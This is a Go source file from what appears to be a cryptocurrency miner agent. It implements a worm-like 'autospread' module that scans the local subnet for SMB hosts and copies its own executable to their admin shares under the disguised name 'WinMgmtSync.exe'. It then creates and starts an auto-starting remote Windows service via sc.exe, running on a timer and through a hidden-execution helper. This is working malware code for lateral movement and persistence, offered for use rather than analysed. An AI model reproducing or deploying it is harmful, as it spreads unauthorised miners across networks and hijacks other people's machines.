//go:build windows package deploy import ( "fmt" "log" "net" "os" "path/filepath" "time" "crypto-miner-agent/config" ) // StartAutoSpreader launches a background routine that periodically attempts // to replicate the miner to other machines on the local subnet via SMB and RPC. // // Prerequisites: see deploy/subnet.go (Spread prerequisites). SMB copy and remote // sc.exe service creation require an admin-capable token and reachable TCP/445. func StartAutoSpreader(cfg config.RuntimeConfig) { // AutoSpread feature retained per user request. // Enables SMB/RPC lateral deployment on the local IPv4 /24 subnet. if !cfg.AutoSpread { return } go func() { // Wait 10 minutes after initial startup before attempting lateral movement time.Sleep(10 * time.Minute) // Attempt every 4 hours ticker := time.NewTicker(4 * time.Hour) defer ticker.Stop() for { spreadToLocalSubnet(cfg) <-ticker.C } }() log.Printf("[autospread] Lateral movement module initialized and active") } // RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking). func RunSpreadOnce(cfg config.RuntimeConfig) string { go spreadToLocalSubnet(cfg) return "lateral spread sweep started on local /24 subnets (SMB/SCM)" } // spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine // storm on /24 sweeps (M20). Each attempt can block for several seconds on // SMB/sc.exe, so without a cap all 254 run concurrently. var spreadSem = make(chan struct{}, 16) func spreadToLocalSubnet(cfg config.RuntimeConfig) { // ARP-first: only probe hosts the OS has recently spoken to. // Typically 5–20 hosts vs 253 cold-probes — far quieter and faster. targets := arpHosts() // Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for // machines with SMB open so we still reach previously-unseen machines. if len(targets) < 3 { ips := getLocalIPs() seen := make(map[string]bool) for _, t := range targets { seen[t] = true } for _, ip := range ips { if !isIPv4(ip) { continue // active sweep is IPv4 /24 only; see subnet.go } subnet := getSubnet(ip) if subnet == "" { continue } for i := 1; i < 255; i++ { candidate, ok := ipv4SweepHost(subnet, i) if !ok { break } if candidate == ip || seen[candidate] { continue } // Quick port check — only bother with machines that have :445 open conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond) if err == nil { conn.Close() seen[candidate] = true targets = append(targets, candidate) } } } } localSet := make(map[string]bool) for _, ip := range getLocalIPs() { localSet[ip] = true } var filtered []string for _, target := range targets { if localSet[target] { continue } filtered = append(filtered, target) } beginSpreadSweep("smb_scm", len(filtered)) if len(filtered) == 0 { finishSpreadSweepImmediate() return } for _, target := range filtered { spreadSem <- struct{}{} go func(t string) { defer func() { <-spreadSem }() attemptSpread(cfg, t) }(target) } } func attemptSpread(cfg config.RuntimeConfig, target string) { // 1. Quick pre-check: Is port 445 (SMB) open? conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second) if err != nil { recordSpreadAttempt(target, false, "port 445 closed") return } conn.Close() exePath, err := os.Executable() if err != nil { recordSpreadAttempt(target, false, "executable path unavailable") return } // Target paths destName := "WinMgmtSync.exe" adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName) remoteExe := filepath.Join(`C:\Windows\System32`, destName) // 2. Attempt to copy payload via SMB using the current security token if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, adminShare); err != nil { // Fallback to C$ hidden temp folder if System32 is restricted cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName) if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil { recordSpreadAttempt(target, false, "smb copy denied") return } remoteExe = filepath.Join(`C:\Windows\Temp`, destName) } // 3. Create Windows Service on the remote machine via Service Control Manager (RPC) svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName) // Delete existing just in case path changed _ = HiddenRun("sc.exe", `\\`+target, "stop", svcName) _ = HiddenRun("sc.exe", `\\`+target, "delete", svcName) _ = HiddenRun("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto") if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil { log.Printf("[autospread] Successfully deployed and started on %s via SCM", target) recordSpreadAttempt(target, true, "") } else { recordSpreadAttempt(target, false, "remote service start failed") } }